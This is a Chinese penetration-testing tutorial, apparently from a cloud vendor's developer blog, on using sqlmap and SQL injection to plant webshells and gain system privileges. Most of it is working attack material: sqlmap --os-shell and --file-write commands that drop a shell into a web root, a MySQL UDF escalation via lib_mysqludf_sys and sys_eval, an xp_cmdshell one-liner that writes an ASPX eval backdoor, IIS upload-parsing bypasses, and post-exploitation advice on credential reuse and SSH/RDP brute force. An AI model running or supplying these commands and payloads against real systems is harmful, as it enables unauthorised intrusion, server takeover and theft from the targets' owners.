4.5 sqlmap注入获取webshell及系统权限研究

本文涉及的产品
RDS Agent(兼容OpenClaw),2核4GB
RDS DuckDB + QuickBI 企业套餐,8核32GB + QuickBI 专业版
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
简介: 4.5 sqlmap注入获取webshell及系统权限研究

4.5 sqlmap注入获取webshell及系统权限研究

渗透思路千万条,只要有一条通往成功获取webshell的道路即可,所以不必一致纠结于必须要使用sqlmap

4.5.1 sqlmap获取webshell及提权常见命令

  1. sqlmap常见获取webshell的相关命令

(1) MSSQL判断是否是DBA权限

--is-dba

(2) 数据库交互模式shell

--sql-shell

(3) 操作系统交互命令

--os-cmd=net user 这里一般是Windows的DOS命令或者Linux的终端命令

(4) 文件读取和写入命令

--file-read=RFILE 从后台数据库管理系统中读取文件

--file-write=WFILE 编辑后端数据库管理系统上的本地文件WFILE

--file-dest=DFILE 后端数据库管理系统写入文件的绝对路径

(5) 数据库权限提升

--priv-esc 数据库进程用户权限提升

(6) meterpreter提权(作者说实际测试并未成功过,可以当作一个思路来记录)

--os-pwn 获取一个OOB shell , meterpreter或者VNC

--os-smbrelay 一键获取一个OOB shell ,meterpreter或者VNC

--os-bof 存储过程缓冲区溢出利用

(7) 获取数据库root账号密码及其他账号密码,sa权限用户获取当前MSSQL下用户密码

--passwords 枚举数据库管理系统用户密码哈希值,程序会自动对密码进行破解,破解不了会列出hash让你自己破解

  1. MySQL数据库直接连接提权

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --os-shell

  1. MySQL数据库sql-shell下UDF提权

(1) 连接数据库

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --sql-shell

(2) 查看版本

select @@version;

(3) 查看插件目录

select @@plugin_dir;

(4) 操作sqlmap上传lib_mysqludf_sys到MySQL插件目录

sqlmap.py -d mysql:root:root@xx.xx.xx.xx:3306/test --file-write=D:/tmp/lib_mysqludf_sys.dll --file-dest=D::\phpstudy\bin\mysql\lib\plugin\lib_mysqludf_sys.dll

(5) 创建sys_exec函数

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(6) 创建sys_eval函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(7) 执行命令

select sys_eval('ver');

select sys_eval('whoami');

select sys_eval('net user');

  1. MSSQL直连数据库

  2. 安装所需要的模块

pip install pymssql

pip install pyodbc

apt-get install unixodbc -y

按照上述安装,还是不成功,大家可以自己测试下,连接MSSQL数据库Windows下好多好用的连接工具

  1. 直连获取shell

sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

4.5.2 获取webshell或shell条件

  1. PHP+MySQL类型网站获取webshell

(1) MySQL root账号权限,即配置MySQL连接的账号为root账号,不是root账号具备root权限也可

(2) GPC配置关闭,能使用单引号

(3) 有网站的绝对路径,且具备可以在文件夹写入文件的权限

(4) 没有配置secure-file-priv属性

  1. MSSQL+ASP/ASP.net类型网站获取webshell条件

(1) 数据库用户是sa

(2) 能够创建xp_cmdshell

(3) 知道真实路径

(4) 可以通过echo命令生成shell

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

4.5.3 获取webshell权限思路及命令

  1. PHP类型网站获取webshell权限思路

(1) 获取os-shell

sqlmap.py -u "http://www.xxx.com/index.php?id=2" --os-shell

(2) 选择4-PHP类型的语言

(3) 物理路径的选择

普通路径,指定路径,指定字典文件进行暴力破解,暴力搜索地址

(4) 获取webshell

在sqlmap中无法直接获取webshell,如果--os-shell整个命令执行完成,就会上传两个文件,sqlmap会给你提示上传的文件名,一个文件是后门文件,可以通过参数传递命令直接执行shell,另一个文件是文件上传功能页面,访问这个页面可以直接上传文件

(5) PHP获取webshell难点

在整个过程中获取网站的真实物理路径是最重要的,一般可以通过phpinfo函数,测试页面,及报错信息,搜素引擎,目录爆破的方式来获取网站的真实物理路径,如果获取到了管理员的账号,能够登录后台,如果后台有一些探针功能或者是系统运行情况的页面,那么也可以获取真实的物理路径,如果实在无法获取那只能暴力猜解或者社工等其他方式。

  1. 直接写入webshell到网站

sqlmap.py -u "http://www.xxx.com/index.php?id=3" --file-write /opt/bmfx.php --file-dest /var/www/html/shell.php

bmfx.php是攻击者本地文件,shell.php是上传到目标站点的文件名称

  1. os-shell下载文件执行
  1. 通过sqlmap连接MySQL获取shell
  1. 账号登录管理后台,寻找上传点

(1) 后台直接上传webshell

(2) 抓包构建绕过防护上传webshell

(3) IIS 6 畸形文件漏洞绕过,即上传1.asp;jpg图片一句话

(4) IIS 7 CGI解析漏洞,上传webshell图片文件,访问http://www.xxx.com/1.jpg/1.php

(5) FCK文件两次上传获取webshell

(6) 其他上传漏洞获取webshell

4.5.4 获取system权限思路

  1. MSSQL和MySQL数据库获取system权限

(1) 生成系统信息

systeminfo > bmfx.txt

(2) 使用windows-exploit-suggester.py 检查是否存在未打补丁的漏洞

(3) 找到漏洞对应exp直接提权

  1. 直接获取system权限

有些服务器是直接使用高权限启动服务,可以通过sqlmap直接获取系统权限

  1. 社工提权

有些root/sa账号对应的数据库密码就是系统Windows/Linux系统的管理员密码

  1. 密码账号暴力破解

通过前面获取到系统准确的账号信息,可以尝试SSH/RDP账号的暴力破解

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
21060 1
|
Prometheus 监控 安全
SpringBoot Actuator未授权访问漏洞的解决方法
SpringBoot Actuator未授权访问漏洞的解决方法Actuator 是 SpringBoot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。
32786 0
|
NoSQL 安全 网络协议
|
SQL 安全 关系型数据库
SQL自动化注茹-SQLmap入门操作(二)
SQL自动化注茹-SQLmap入门操作(二)
|
存储 域名解析 监控
云上攻防:任意上传、域名接管与AK/SK泄漏
随着企业上云的趋势加剧,云安全成为新的焦点。本文探讨了云计算环境中的三大安全问题:任意上传、域名接管与AK/SK泄漏,分析了这些威胁的工作原理及防护措施,强调了数据保护和访问控制的重要性。通过阿里云等平台的实际案例,提供了具体的安全防范建议。
1991 2
云上攻防:任意上传、域名接管与AK/SK泄漏
|
安全 NoSQL 网络协议
SSRF内网打穿相关姿势
本文详细介绍了服务器端请求伪造(SSRF)漏洞,包括其定义、漏洞场景、常见漏洞函数、URL伪协议及其利用方法。通过具体的靶机示例,展示了如何利用SSRF漏洞进行内网探测、命令执行、SQL注入、命令注入、XXE注入、Tomcat任意文件上传和Redis未授权访问等攻击。文章还提供了相关工具和参考资料,帮助读者更好地理解和应对SSRF漏洞。
1978 0
SSRF内网打穿相关姿势
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
7895 3
|
安全 搜索推荐 应用服务中间件
Web安全-目录遍历漏洞
Web安全-目录遍历漏洞
1045 2
|
安全 数据安全/隐私保护
kali 安装awvs
kali 安装awvs
1684 0
|
安全 网络协议 NoSQL
SSRF漏洞深入利用与防御方案绕过技巧
SSRF漏洞深入利用与防御方案绕过技巧
1522 0